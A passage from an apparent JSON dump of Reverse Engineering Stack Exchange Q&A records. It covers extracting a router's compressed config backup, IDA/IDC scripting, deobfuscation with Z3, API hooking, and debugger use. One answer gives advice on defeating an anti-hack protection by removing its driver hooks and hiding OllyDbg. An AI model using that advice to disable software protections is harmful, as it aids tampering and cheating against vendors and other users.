-d</p>\n</blockquote>\n<p>but with no luck, later on I found similar file on web with no compression on it, so I take a look and it seams that header of file and couple more &quot;byts&quot; are the same as my compressed file and Im not sure how I can skip these first &quot;byts&quot; and try to decompress rest of &quot;data&quot;, also from log u can see some type of &quot;Sign&quot; which are also need to be skiped, here is how similar file which is not compressed look like</p>\n<pre><code>\n00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|\n00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|\n00000040  00 02 00 00 00 00 00 80  00 04 5e 85 00 00 00 00  |..........^.....|\n00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000080  3c 44 42 3e 0a 3c 54 62  6c 20 6e 61 6d 65 3d 22  |&lt;DB&gt;.&lt;Tbl name=\"|\n00000090  44 42 42 61 73 65 22 20  52 6f 77 43 6f 75 6e 74  |DBBase\" RowCount|\n000000a0  3d 22 31 22 3e 0a 3c 52  6f 77 20 4e 6f 3d 22 30  |=\"1\"&gt;.&lt;Row No=\"0|\n000000b0  22 3e 0a 3c 44 4d 20 6e  61 6d 65 3d 22 49 46 49  |\"&gt;.&lt;DM name=\"IFI|\n000000c0  6e 66 6f 22 20 76 61 6c  3d 22 30 31 30 31 30 32  |nfo\" val=\"010102|\n000000d0  30 31 30 34 30 30 30 30  30 30 30 31 30 36 30 31  |0104000000010601|\n000000e0  30 34 30 30 30 30 30 32  31 32 35 30 30 30 30 30  |0400000212500000|\n000000f0  30 30 35 30 30 31 30 30  30 30 35 30 30 32 30 30  |0050010000500200|\n00000100  30 30 35 30 30 33 30 30  30 30 22 2f 3e 0a 3c 2f  |0050030000\"/&gt;.&lt;/|\n00000110  52 6f 77 3e 0a 3c 2f 54  62 6c 3e 0a 3c 54 62 6c  |Row&gt;.&lt;/Tbl&gt;.&lt;Tbl|\n00000120  20 6e 61 6d 65 3d 22 45  54 48 22 20 52 6f 77 43  | name=\"ETH\" RowC|\n00000130  6f 75 6e 74 3d 22 34 22  3e 0a 3c 52 6f 77 20 4e  |ount=\"4\"&gt;.&lt;Row N|\n00000140  6f 3d 22 30 22 3e 0a 3c  44 4d 20 6e 61 6d 65 3d  |o=\"0\"&gt;.&lt;DM name=|\n00000150  22 56 69 65 77 4e 61 6d  65 22 20 76 61 6c 3d 22  |\"ViewName\" val=\"|\n00000160  49 47 44 2e 4c 44 31 2e  45 54 48 31 22 2f 3e 0a  |IGD.LD1.ETH1\"/&gt;.|\n00000170  3c 44 4d 20 6e 61 6d 65  3d 22 4c 44 57 44 56 69  |&lt;DM name=\"LDWDVi|</code></pre>\n<p><a href=\"https://www.dropbox.com/s/562nctdc7r8xhmo/default-config.bin/\" rel=\"nofollow noreferrer\">Here</a> u can find compressed backup.</p>\n<p>Edit: On picture u can see comparasion of two files db_user_cfg.xml (file from log) on (left side) and that &quot;same file&quot; but when is &quot;backedup&quot; on right side</p>\n<p><img src=\"https://i.stack.imgur.com/7Mjd5.png\" alt=\"Zte compare\" /></p>\n",
        "Title": "RE Compressed backup file,router linux based so is it compresed with zlib?",
        "Tags": "|linux|",
        "Answer": "<p>Every compressed chunk in the config.bin file is prepended by a small 3-DWORDs header containing the following information: </p>\n\n<ol>\n<li>the length of the uncompressed xml chunk.  This value is 0x10000 for all but the last chunk</li>\n<li>the length of the compressed zlib chunk</li>\n<li>the cumulative length of the file after the chunk is appended.  This value is 0x0 for the last chunk.</li>\n</ol>\n\n<p>These headers can be used to avoid false positives during the detection of the chunks: valid chunks will have either a 0x10000 on the first field or a 0x0 on the third field.  The headers can also be used to verify the uncompressed data size.</p>\n\n<pre><code>import re\nimport zlib\nimport struct\n\n\ndef extract_config_xml(config_bin):\n    config_xml = b''\n    for zlib_chunk in re.finditer('\\x78\\xda', config_bin):\n        zlib_chunk_start = zlib_chunk.start()\n        zlib_chunk_header = config_bin[zlib_chunk_start - 12: zlib_chunk_start]\n        xml_chunk_length, zlib_chunk_length, config_bin_length = \\\n            struct.unpack('&gt;LLL', zlib_chunk_header)\n        if xml_chunk_length == 0x10000 or config_bin_length == 0:\n            zlib_chunk_end = zlib_chunk_start + zlib_chunk_length\n            zlib_chunk = config_bin[zlib_chunk_start: zlib_chunk_end]\n            xml_chunk = zlib.decompress(zlib_chunk)\n            assert xml_chunk_length == len(xml_chunk)\n            config_xml += xml_chunk\n    return config_xml\n\n\nwith open('config.bin', 'rb') as f:\n    print extract_config_xml(f.read())\n</code></pre>\n"
    },
    {
        "Id": "3594",
        "CreationDate": "2014-02-01T19:52:07.403",
        "Body": "<p>I have a 64 bit program im debugging. \nI found the function i need to learn more about to potentially \"fix\" the problem (there is no source code available for the program).</p>\n\n<p>To speed  things up, i wanted to decompile and go over it in pseudocode  as my assembler is still quite weak.\nHowever i did not find any working solutions that would work with x64.</p>\n\n<p>I am using only x64 windows platform so linux/mac solutions wont work (hopper is only 32 bit on windows).\nHex-rays is x86 as well.\nThere was ida-decompiler python scripts that i didn't get to work no matter what i did ( no output or pseudocode was generated).</p>\n\n<p>Is there any other solutions i could try that does support x64 and has pseudocode support?</p>\n",
        "Title": "64 bit Pseudocode decompiler",
        "Tags": "|tools|decompiler|x86-64|",
        "Answer": "<p>Meanwhile Hex Rays does have an x64 Decompiler (adding this answer for people reading now, at the time of Jason's answer the decompiler was not yet available), see the <a href=\"https://www.hex-rays.com/products/decompiler/news.shtml\" rel=\"nofollow noreferrer\">news</a> page:</p>\n\n<blockquote>\n  <p>2014/06/04    The x64 decompiler has arrived!</p>\n</blockquote>\n\n<p>And from the <a href=\"https://www.hex-rays.com/products/ida/order.shtml\" rel=\"nofollow noreferrer\">order</a> page:</p>\n\n<blockquote>\n  <p>The Decompiler software is available for 5 platforms: x86, x64, ARM32,\n  ARM64, and PowerPC. While x64, ARM64, and PowerPC decompilers can run\n  only on top of IDA Pro, the x86 and ARM32 decompilers can run on top\n  of both IDA Starter or IDA Pro</p>\n</blockquote>\n"
    },
    {
        "Id": "3596",
        "CreationDate": "2014-02-01T21:44:23.937",
        "Body": "<p>I use IDA Pro 6.1 to disassembly ELF file,\nwhich is compiled on 32 bit Linux, gcc 4.6.3</p>\n\n<p>I modified the code and try to make it reassemble, \nand I find a problem here(this is directly created by IDA Pro):</p>\n\n<pre><code>main    proc near\n......\nmov     dword ptr [esp+4], offset msgid\n......\n......\nfoo     proc near\nmsgid   =  dword ptr -18d\n......\nmov     [esp+1Ch+msgid], 1\n\nsection .rodata\nmsgid           db 'extra operand %s',0\n</code></pre>\n\n<p>So if I do some modify work and assembly it use <strong>nasm</strong>, it will produce this error:</p>\n\n<pre><code>error: label or instruction expected at start of line \n</code></pre>\n\n<p>targeting on this line:</p>\n\n<pre><code>msgid           db 'extra operand %s',0\n</code></pre>\n\n<p>If I modify it like this:</p>\n\n<pre><code>main    proc near\n......\nmov     dword ptr [esp+4], offset msgid111\n......\n......\nfoo     proc near\nmsgid   =  dword ptr -18d\n......\nmov     [esp+1Ch+msgid], 1\n\nsection .rodata\nmsgid111           db 'extra operand %s',0\n</code></pre>\n\n<p>Then no error in this part.</p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li>Why IDA Pro will use variable name as the macro name?</li>\n<li>Is there any better way to bypass this error than modify the variable name?</li>\n</ol>\n\n<p>Thank you!</p>\n",
        "Title": "Why IDA Pro will generate this kind of code(mess up macro name and variable name)?",
        "Tags": "|ida|disassembly|assembly|nasm|",
        "Answer": "<ol>\n<li><p>IDA will use this variable name if you renamed it somehow.\nThis variable name is local for the function because it is a stack offset. </p></li>\n<li><p>There is no better way than name modification.\nYou can solve this specific kind of error by writing script that renames anything in <code>.rodata</code> section by applying <code>g_</code> prefix to any object in it.</p></li>\n</ol>\n\n<p>The code will look like this:</p>\n\n<pre><code>#Use carefully, I didn't check this code\n#beware errors\n\nimport idautils\nimport idc\n\nprefixes = {\".rodata\": \"g_ro_\",\n            \".data\": \"g_\"}\n\n#Passing over all non default names\nfor (ea, name) in idautils.Names():\n    seg_name = idc.SegName(ea)\n    # if the name is in required segment\n    if seg_name in prefixes:\n        if not name.startswith(prefixes[seg_name]):\n            # renaming it by adding required prefix\n            # if the prefix is not added yet\n            name = prefixes[seg_name] + name\n            idc.MakeName(ea, name)\n</code></pre>\n"
    },
    {
        "Id": "3597",
        "CreationDate": "2014-02-01T22:03:52.943",
        "Body": "<p>Test platform is Linux 32 bit.</p>\n\n<p>I use IDA Pro to disassembly the basename from coreutils 8.5\n compiled by gcc 4.6.3</p>\n\n<p>Here is a code snippet generated by IDA Pro</p>\n\n<pre><code>           call    _i686_get_pc_thunk_bx                                 \n           add     ebx, 292Eh\n           sub     esp, 18h\n           mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]\n           test    eax, eax\n           jz      short loc_804B6F8\n           mov     eax, [eax]\n\n     loc_804B6DB:\n           mov     [esp+1Ch+var_14], eax\n           mov     eax, [esp+1Ch+arg_0]\n           mov     dword [esp+1Ch+var_18], 0\n           mov     [esp+1Ch+var_1C], eax\n           call    __cxa_atexit\n           add     esp, 18h\n           pop     ebx\n           retn\n\n     loc_804B6F8:\n           xor     eax, eax\n           jmp     short loc_804B6DB\n</code></pre>\n\n<p>I don't understand this line:</p>\n\n<pre><code>mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]\n</code></pre>\n\n<p>and after searching the code, I can only find this:</p>\n\n<pre><code>        __dso_handle    dd 0\n</code></pre>\n\n<p>in the .data section.</p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li>What is the meaning of this line..?  Is it like a version checking stuff..?</li>\n<li>Can I just safely remove this line without affecting the functionality of the code..?</li>\n</ol>\n",
        "Title": "What is the meaning of this code generated by IDA Pro?",
        "Tags": "|ida|disassembly|assembly|disassemblers|nasm|",
        "Answer": "<p>You are looking at binary that is compiled as position-independent code. The <code>call    _i686_get_pc_thunk_bx</code> and the following addition to <code>ebx</code> shows just that. If you take a look at the disassembly, you'll see that the address of the <code>add ebx, 292Eh</code> plus 0x292E will result in the first address of the GOT. That why in the next line, _dso_handle_ptr is addressed in such a \"funny\" way.</p>\n\n<p>IDA however is nice enough to show you this in the disassembly as you would normally only see 0xSOMEADDR[ebx]. </p>\n\n<p>In terms of the second question: that line retrieves a global variable, puts it into <code>eax</code> and then checks if it is zero or not. So, you should not just \"delete\" that line since then the <code>test eax, eax</code> would use some old value of <code>eax</code> (which I am sure you will not like all that much).</p>\n"
    },
    {
        "Id": "3603",
        "CreationDate": "2014-02-02T15:07:21.333",
        "Body": "<p>test Platform is \n32 bit Linux ELF and 32 bit Windows PE.</p>\n\n<p>I use IDC script to extract all the functions from binary and dump \ninto a file, then do the analysis based on the examples in IDA Pro book.</p>\n\n<p>But I don't know how to extract .data .rodata and .bss\nsections from ELF file using IDC script.</p>\n\n<p>Currently I use IDA Pro to create a asm file, and use Python script to \ndo the string parser work, extracting .data .rodata and .bss\nsections from this asm file.</p>\n\n<p>Basically It works fine, but a really tedious modification work is required, \nand as my test base is relatively large(notepad++ and others..), I have to\nspend lots of time do modify work to correctly extract this three sections.</p>\n\n<p>My question is \"is there any idc script/idapython script can extract .data .rodata and .bss\nsections from ELF file?\" and any solutions on Windows are also welcomed.</p>\n\n<p>Thank you!</p>\n",
        "Title": "How to extract all the rodata data and bss section using IDC script in IDA Pro?",
        "Tags": "|ida|disassembly|ida-plugin|idapython|",
        "Answer": "<p>For the <code>.bss</code> section something like the following may work for you:</p>\n\n<pre><code>import idaapi\nimport idc\n\nprint \"section .bss\"\nstart = idaapi.get_segm_by_name(\".bss\").startEA\nend = idaapi.get_segm_by_name(\".bss\").endEA\nitem = idc.NextHead(start - 1, end)\nwhile item != BADADDR:\n   next = idc.NextHead(item, end)\n   if next != BADADDR:\n      print \"%s: resb %d\" % (idc.Name(item), next - item)\n   else:\n      print \"%s: resb %d\" % (idc.Name(item), end - item)\n   item = next\n</code></pre>\n\n<p>although in practice, <code>NextHead</code> does not seem to pick up anything named as <code>unk_XXXX</code>, so you may need to further iterate over the section to determine whether there are any cross references to an address to decide whether to associate a declaration with it.</p>\n\n<p>For the <code>.data</code> and <code>.rodata</code> sections you will need to change to <code>db/dw/dd/...</code> as appropriate and additionally dump the content of the related items. The challenge for items in these sections is to properly determine the size of each item and correctly choose <code>db/dw/dd/...</code> Dumping raw bytes with <code>db</code> may be the simplest approach here.</p>\n"
    },
    {
        "Id": "3606",
        "CreationDate": "2014-02-02T17:57:00.803",
        "Body": "<p>I would like to know if there are efficient ways to simplify arithmetic formula expression over bit-vectors with <a href=\"http://z3.codeplex.com/\" rel=\"nofollow\">Microsoft Z3</a>. But, first, I would like to explain a bit the problem. Lets start with an example:</p>\n\n<pre><code>x + y == (x ^ y) + 2 * (x &amp; y)\n</code></pre>\n\n<p>Both <code>x + y</code> and <code>(x ^ y) + 2 * (x &amp; y)</code> are, in fact, coding the addition over bit-vectors. Of course, the right hand formula is used to confuse a reverser when found in the binary program. I try to find tools and techniques to simplify the obfuscated formula and find the simpler form of the formula (left-hand).</p>\n\n<p>For this, I looked at the Python interface of Z3, trying to see what I can get out of it. So, defining the obfuscated formula is done like this:</p>\n\n<pre><code>&gt;&gt;&gt; from z3 import *\n&gt;&gt;&gt; x = BitVec('x', 32)\n&gt;&gt;&gt; y = BitVec('y', 32)\n&gt;&gt;&gt; fun1 = (x ^ y) + 2 * (x &amp; y)\n</code></pre>\n\n<p>Now, lets try to simplify this function with the help of the built-in function <code>simplify</code>:</p>\n\n<pre><code>&gt;&gt;&gt; simplify((x ^ y) + 2 * (x &amp; y))\n(x ^ y) + 2*~(~x | ~y)\n</code></pre>\n\n<p>Not really convincing... But, lets try to prove the equivalence with <code>x + y</code>:</p>\n\n<pre><code>&gt;&gt;&gt; prove((x ^ y) + 2 * (x &amp; y) == x + y)\nproved\n&gt;&gt;&gt; prove((x ^ y) + 2 * (x &amp; y) == x - y)\ncounterexample\n[y = 2164268032, x = 2139094080]\n</code></pre>\n\n<p>I added a negative result to show that it is also possible to disqualify a formula.</p>\n\n<p>So, if the <code>simplify</code> function is not really convincing, it is still possible to try, in a brute-force manner to compare the unknown formula with a list of simpler and usual formula one after one. But, this way seems extremely inefficient to me. I guess I am missing some smarter algorithms to simplify formula.</p>\n\n<p>I would like to know if there are some already existing tools or well-known techniques to perform in a more efficient manner than the brute-force approach. So, if someone has some hints or comments about this, it would be more than welcome.</p>\n",
        "Title": "How to efficiently simplify obfuscated formula in QF_BV logic with Z3?",
        "Tags": "|deobfuscation|",
        "Answer": "<p>Z3 is an SMT solver.  Its job is to decide the satisfiability of formulas passed in by a user, where the formulas may mix terms from the various theories that Z3 supports.  Coincidentally, in order to make its own job easier by producing a \"simpler\" formula than the one passed in by the user, it implements a simplifier which is not very sophisticated technologically and largely consists of term rewriting rules.</p>\n\n<p>Although the user could pose a query regarding the equivalence of two expressions, Z3's only involvement would be to solve the formula.  I.e. Z3 will not generate candidates for you.  It is your job as the user to provide the candidates and query an SMT solver as to their satisfiability.</p>\n\n<p>In general, synthesizing functions is a challenging task in program synthesis.  These queries are naturally posed in second-order logic, but modern SMT solvers support only restrictions of first-order logic.  To sidestep this problem, some published work takes the route of eliminating most candidates from consideration ahead of time, thereby keeping the number of equivalence queries small.  See for example <a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.93.8843&amp;rep=rep1&amp;type=pdf\">this paper</a> or <a href=\"http://spinroot.com/spin/Workshops/ws13/spin2013_submission_16.pdf\">this one</a>.  Another approach is to specify a template describing what the candidate functions are allowed to look like; a simple example is <a href=\"http://theory.stanford.edu/~ataly/Papers/pldi12.pdf\">this paper</a>.  These approaches keep the formula to first-order logic, or even quantifier-free.</p>\n\n<p>In general, you should research program synthesis.</p>\n"
    },
    {
        "Id": "3617",
        "CreationDate": "2014-02-04T10:07:14.080",
        "Body": "<p>Is there any kind of software or research or paper which discusses replacement of frequent x86 instructions with ones which are less common and thus less understandable to the attacker (floating point/SSE/Virtualization/undocumented) while still maintaining the functionality?</p>\n\n<p>For example, I wan to replace this</p>\n\n<pre><code>    PUSH EBP\n    MOV EBP,ESP\n    ...\n    PUSH DWORD [0x0BEE]\n    PUSH 3\n    CALL &lt;check&gt;\n    TEST EAX,EAX\n    JE &lt;0xabcd&gt;\n    PUSH &lt;text1&gt;\n    PUSH [EBP+5]\n    CALL &lt;MessageBox&gt;\n0xabcd:\n    PUSH &lt;text2&gt;\n    PUSH [EBP+5]\n    CALL &lt;MessageBox&gt;\n</code></pre>\n\n<p>with this</p>\n\n<pre><code>    AESKEYGENASSIST\n    VFMSUBADDPD\n    MOVLPS\n    PMADDUBSW\n    RET\n    FLDL2T\n    CMPXCHG8B\n    AESKEYGENASSIST\n    VFMSUBADDPD\n    MOVLPS\n    CMPXCHG8B\n    STOSW\n    VMLAUNCH\n    etc etc\n</code></pre>\n\n<p>while still performing the same operation.</p>\n",
        "Title": "Replacing common x86 instructions with less known ones",
        "Tags": "|obfuscation|x86|",
        "Answer": "<p>I do not think code morphism is <em>the</em> or <em>an</em> answer to this question. </p>\n\n<p>What the question was about is obfuscating the algorithm implementation by using less common or undocumented assembly instructions. This can actually be done by some compilers when extensive optimizations are turned on. For example compilers like the <strong>Intel C Compiler</strong>, <strong>GCC</strong>, or <strong>PGI</strong> can autovectorize loops when matched to some internal patterns (<em>reductions</em>, <em>matrix multiplications</em>, ...) and when the target architecture supports vectorization. Other optimizations can lead to extremely tricky assembly code but still, it can always be reversed since the compiler performs no <strong>explicit</strong> obfuscation and because most of what the compiler does is pattern matching. Of course if you associate a high level pattern to a low level one, well, you lose the obfuscation and your code can easily be reversed. Thus techniques as the one you're looking for can only be performed by hand either by writing high level code using compiler intrinsics and alternative constructs or at the assembly level.   </p>\n\n<p>If you are really interested in obfuscation techniques I recommend you going over Jan CAPPAERT's PhD thesis : <a href=\"https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf\">https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf</a>, it covers some nice techniques used not only on malware but on industrial software too. The bibliography is quite rich.\nYou can also check this talk given by Sean Taylor at Defcon on how to make the compiler do the obfuscation : <a href=\"https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf\">https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sean_taylor-binary_obfuscation.pdf</a>.</p>\n\n<p>About polymorphism, it is a nice obfuscation technique though it is rarely used in malware nowadays, and for many reasons. One of them is that few, if none, malware authors write code in assembly anymore, and most use frameworks and engines. You have to keep in mind that writing obfuscated assembly code is an art ... and that now it is used to harden the reverse engineering process for profit not for the challenge.</p>\n\n<p>I've been working on a <strong>GCC</strong> plugin that adds an optimization pass which performs code obfuscation on the IR - internal representation (GIMPLE) - of a code before applying another obfuscation pass at the assembly level. The interesting thing about this approach is that you have the CFG (Control Flow Graph) of the program at compile time, and you can apply many obfuscation algorithms and techniques in order to break it into other equivalent CFGs and then assess which suites best and use it throughout the remaining compilation phases.</p>\n\n<p>Hope my post helps.</p>\n"
    },
    {
        "Id": "3621",
        "CreationDate": "2014-02-05T10:17:30.453",
        "Body": "<p>I have a OCX control which is loaded in Internet Explorer (used to show stream from IP camera). To see live video I have to properly connect to server etc. using methods of created object. The best idea will be to monitor which methods are called from IE. <strong>Is there any possibility to monitor these calls</strong> and parameters with for example plug-in for IE or some API monitor program?</p>\n\n<p><img src=\"https://i.stack.imgur.com/9Dy2r.png\" alt=\"OCX information in OLEView\">\n<img src=\"https://i.stack.imgur.com/vNGuJ.png\" alt=\"Methods details\"></p>\n",
        "Title": "OCX methods execution monitoring",
        "Tags": "|com|",
        "Answer": "<p>As 3asm_ suggested, it would be best to try API Monitor first.</p>\n\n<p>If that doesn't work, though, an alternative would be to attach to IE with a debugger and set logging breakpoints on the entrypoint of each method in the OCX. You can then see the order in which IE calls them and the arguments that are passed.</p>\n"
    },
    {
        "Id": "3623",
        "CreationDate": "2014-02-05T11:46:52.193",
        "Body": "<p>I'm reversing an application written in C. I have a certain function that I want to log runtime, without pausing/stopping the application. </p>\n\n<p>My desired values of that function are: </p>\n\n<ul>\n<li><code>[ESP + 4]</code> which is the length of a buffer </li>\n<li><code>[ESP + 8]</code> which is a <em>pointer</em> to a string buffer</li>\n</ul>\n\n<p>Then I want to read the buffer and write it into a file.</p>\n\n<p>First thing I was told to use is Immunity's <code>LogBpHook</code>, which worked great, but it stops the application and it becomes really slow due to this, because it's a frequently called function. </p>\n\n<p>Then I tried to setup <code>FastLogHook</code> which sounds more like what I'm after. It injects a log stub and stores encountered values, but as far as I know it can not perform further memory readings like the one I described above anyway (if it can please tell me). Also it constantly crashed my application so it's out of the question.</p>\n\n<p>So I left with the idea of injecting a customized code stub that would take care of further readings and logging of the values into a file. Is there any tool that could do this, or I have to manually write+inject this assembly?</p>\n\n<p><strong>How can I log function parameters runtime, without stopping the application?</strong></p>\n",
        "Title": "Runtime memory reading with injection",
        "Tags": "|assembly|memory|immunity-debugger|functions|callstack|",
        "Answer": "<ol>\n<li>You can write your hooking library (DLL) which will patch the API you are targeting. This patch will just print to file/console the parameters and continue back to the original function. There will be no stops on the way. To actually hook the APIs you will need to inject the DLL into the target application. You can use <a href=\"http://research.microsoft.com/en-us/projects/detours/\" rel=\"nofollow\">Detours from Microsoft</a> as and example which is a software package for re-routing Win32 APIs underneath applications.\n<ol>\n<li><a href=\"http://www.codeproject.com/Articles/2082/API-hooking-revealed\" rel=\"nofollow\">API hooking revealed</a> - an article on <strong>CodeProject</strong> with examples. But you can find on the net endless examples for this technique.</li>\n<li><a href=\"http://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours\" rel=\"nofollow\">API Hooking with MS Detours</a></li>\n</ol></li>\n<li><a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow\">API Monitor</a> - API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Instrumentation_%28computer_programming%29\" rel=\"nofollow\">Process instrumentation</a> - <code>instrumentation refers to an ability to monitor or measure the level of a product's performance, to diagnose errors and to write trace information.</code>\n<ol>\n<li><a href=\"http://en.wikipedia.org/wiki/Pin_%28computer_program%29\" rel=\"nofollow\">Pin is a platform for creating analysis tools</a> - <code>A pin tool comprises instrumentation, analysis and callback routines.</code> <a href=\"http://resources.infosecinstitute.com/pin-dynamic-binary-instrumentation-framework/\" rel=\"nofollow\">Here</a> you can find an intro to writing pintool which you can extend to your needs. This is pretty powerful technique and more hard to adapt among all that I've listed here. The original site from <a href=\"http://software.intel.com/en-us/articles/pintool/\" rel=\"nofollow\">Intel</a> and specifically at <a href=\"http://software.intel.com/sites/landingpage/pintool/docs/62732/Pin/html/index.html#FunctionArguments\" rel=\"nofollow\">Finding the Value of Function Arguments</a> can help you with what you are looking for.</li>\n</ol></li>\n</ol>\n"
    },
    {
        "Id": "3634",
        "CreationDate": "2014-02-07T00:50:10.930",
        "Body": "<p>In my IDC script I open a log file, do some analysis, write in the file and close the file like this:</p>\n\n<pre><code>main(){\nopen_log();\ndo_analysis();\nclose_log();\n}\n</code></pre>\n\n<p>Currently I am using this script on command line, and I am trying to close the GUI after analysis(or be more exact, don't not open GUI while analyzing)</p>\n\n<p>Here is command line I use:</p>\n\n<pre><code>\"z:\\ida6.1\\idaq.exe -A -SfunctionEnumeration.idc z:\\Linux\\targetfile\"\n</code></pre>\n\n<p>I modified my script like this:</p>\n\n<pre><code>main(){\nopen_log();\ndo_analysis();\nclose_log();\n\nWait();\nExit(0);\n}\n</code></pre>\n\n<p>Currently it will generate the log file, but no content in it..</p>\n\n<p>It seems that IDA Pro is closed before the write operation(or close operation)\non the log file, but I don't understand why because Wait() is called in my script...</p>\n\n<p>I read the IDC manual and haven't find anything useful...</p>\n\n<p>Could anyone give me some help? Thank you!</p>\n",
        "Title": "Why the Wait() in idc script can not work on IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<p>Try</p>\n\n<pre><code>main(){\nWait();\nopen_log();\ndo_analysis();\nclose_log();\nExit(0);\n}\n</code></pre>\n"
    },
    {
        "Id": "3639",
        "CreationDate": "2014-02-07T14:22:53.713",
        "Body": "<p>Given a breakpoint at an expression <code>MOV EDI, EAX</code>, how can you automatically log/write to file the referenced string whenever the breakpoint is hit?</p>\n",
        "Title": "OllyDbg: Automatically extract string when breakpoint is hit",
        "Tags": "|ollydbg|debuggers|",
        "Answer": "<p>in odbg version 1.10\nthat will only <code>log eax</code> not the string<br>\nin the expression box put either <code>STRING [EAX]</code> or <code>UNICODE [eax]</code>  as the case may be<br>\nor with plain eax select <code>pointer to ascii or unicode string</code> in <code>decode expression as</code> dropdown box to log strings </p>\n\n<p>Log data, item 0\n Message=eax  = 1001590  [eax]  = 74636868  string [eax]  = hhctrl.ocx  unicode [eax] =</p>\n\n<p><code>odbg 210</code> will decode expression automatically </p>\n\n<pre><code>01012475  INT3: plain eax = 1001590 ASCII \"hhctrl.ocx\"\n                dword ptr eax = 74636868 (1952671848.)\n                ascii string ptr eax = hhctrl.ocx\n</code></pre>\n"
    },
    {
        "Id": "3642",
        "CreationDate": "2014-02-07T21:14:43.947",
        "Body": "<p>Analysing a bootmanager : I'm trying to track all variables which are only read from, and not written to... which will give me the external variables it uses...</p>\n\n<p>Is there any such functionality in IDA pro free? Can I write a plugin for it in the free version? Any other options for this purpose? Any other tool which can do this?</p>\n",
        "Title": "How to find memory addresses which are read from but not written to",
        "Tags": "|ida|disassembly|static-analysis|memory|",
        "Answer": "<p>Since you are only interested in variables that are read from, not written to, I'll assume you're talking about global variables since it makes no sense to have a local variable that's never written to.</p>\n\n<p>You can write an IDC script to iterate through each global variable and use <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/313.shtml\" rel=\"nofollow\"><code>RfirstB</code>, <code>RnextB</code>, and <code>XrefType</code></a> to determine which global variables are read from, written to, or both.</p>\n"
    },
    {
        "Id": "3649",
        "CreationDate": "2014-02-08T18:12:38.997",
        "Body": "<p>I want to run an OllyDbg and attach it to some starting later process.</p>\n\n<p>But the problem is, that process is very aggressive: it kills OllyDbg on start, and I also can't run OllyDbg later because that process then crashes with some invective message written in some moonspeak language (there are symbols that can be read, and they tell something about 'antihack.dll', for which, though, I don't found any reference to using Dependency walker and Pe Explorer).</p>\n\n<p>So, is there any way how to prevent this aggressive process from killing any working app and connect it somehow to OllyDbg?</p>\n\n<p>P.S. Now is some crazy stuff going on.\nEven if rum without debugger in background process fails after some time with an memory access error (and I even replaced an .exe with the original one in case of some arbitrary overwrites).</p>\n",
        "Title": "How to prevent application from killing OllyDbg",
        "Tags": "|ollydbg|anti-debugging|",
        "Answer": "<p>What is the target program? Is it known to have an antihack? (If so, who makes it?) Are you on a 32-bit or 64-bit OS?</p>\n\n<p>Use GMER/<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682619%28v=vs.85%29.aspx\" rel=\"nofollow\"><code>EnumDeviceDrivers()</code></a>/etc and check for drivers that \"antihack.dll\" might be loading. If there is a driver, load its binary into IDA and start reversing, and if you're on 32-bit grab an anti-rootkit program (GMER, kernel detective, XueTr) and remove their hooks.</p>\n\n<blockquote>\n  <p>\"they tell something about 'antihack.dll', for which, though, I don't\n  found any reference to using Dependency walker and Pe Explorer\"</p>\n</blockquote>\n\n<p>Maybe the antihack.dll is loaded into a seperate process? Try monitoring process creation or just use taskmanager and see if there's a seperate process that is killing your Olly. Alternatively, it could just be a delayed LoadLibrary call. Also, the program might be injecting antihack.dll into your process instead of loading it (unlikely in this case).</p>\n\n<p>If you're on a 32-bit OS, PhantOm with driver enabled should be enough to protect your Olly. If it isn't, try looking for other plugins that hide Olly. On a 64-bit OS, you would need to write your own driver, though with PatchGuard around even that will probably not be enough since they could be detecting your Olly by its window names/positions/hierarchy.</p>\n\n<p>If you want to attach to a program with an antihack feature you would preferably partially or completely disable the antihack first. Stealthing an invasive debugger to get it to attach to an already running protected process is not a nice approach. Start with static analysis in IDA, find a way to start the program in Olly and debug the startup process, or start with less invasive dynamic analysis (Cheat Engine).</p>\n"
    },
    {
        "Id": "3654",
        "CreationDate": "2014-02-10T11:07:34.727",
        "Body": "<p>I'm trying to use IDA Pro v6.5 <s>(freeware)</s> (demo) to decompile an objective-c library compiled for ARM7-7S. I tried Hopper v2.8.8 (freeware) with no success. <br><br>\nI had no problem until I tried to display a pseudocode. In fact, I can't find the option for that as you can see on this screenshot : <img src=\"https://i.stack.imgur.com/0x93j.png\" alt=\"enter image description here\"><br>\nI believe to know that I can do it because IDA should support ARM decompilation... So my question is : How to decompile an objective-c library ? Or, Am I missing something ?</p>\n",
        "Title": "How to decompile an Objective-C static library (for iOS)?",
        "Tags": "|ida|decompilation|arm|",
        "Answer": "<p>I do mainly refer to the first answer and add:</p>\n\n<p><strong>Retargetable Decompiler</strong> is indeed working fine, tested it with ARM Binarys. It's only anvailable online.</p>\n\n<p><strong>SmartDec</strong> has moved to a new site: <a href=\"http://decompilation.info/\" rel=\"nofollow\">http://decompilation.info/</a> but is not currently able of decompiling ARM Platform.</p>\n"
    },
    {
        "Id": "3658",
        "CreationDate": "2014-02-10T22:12:24.690",
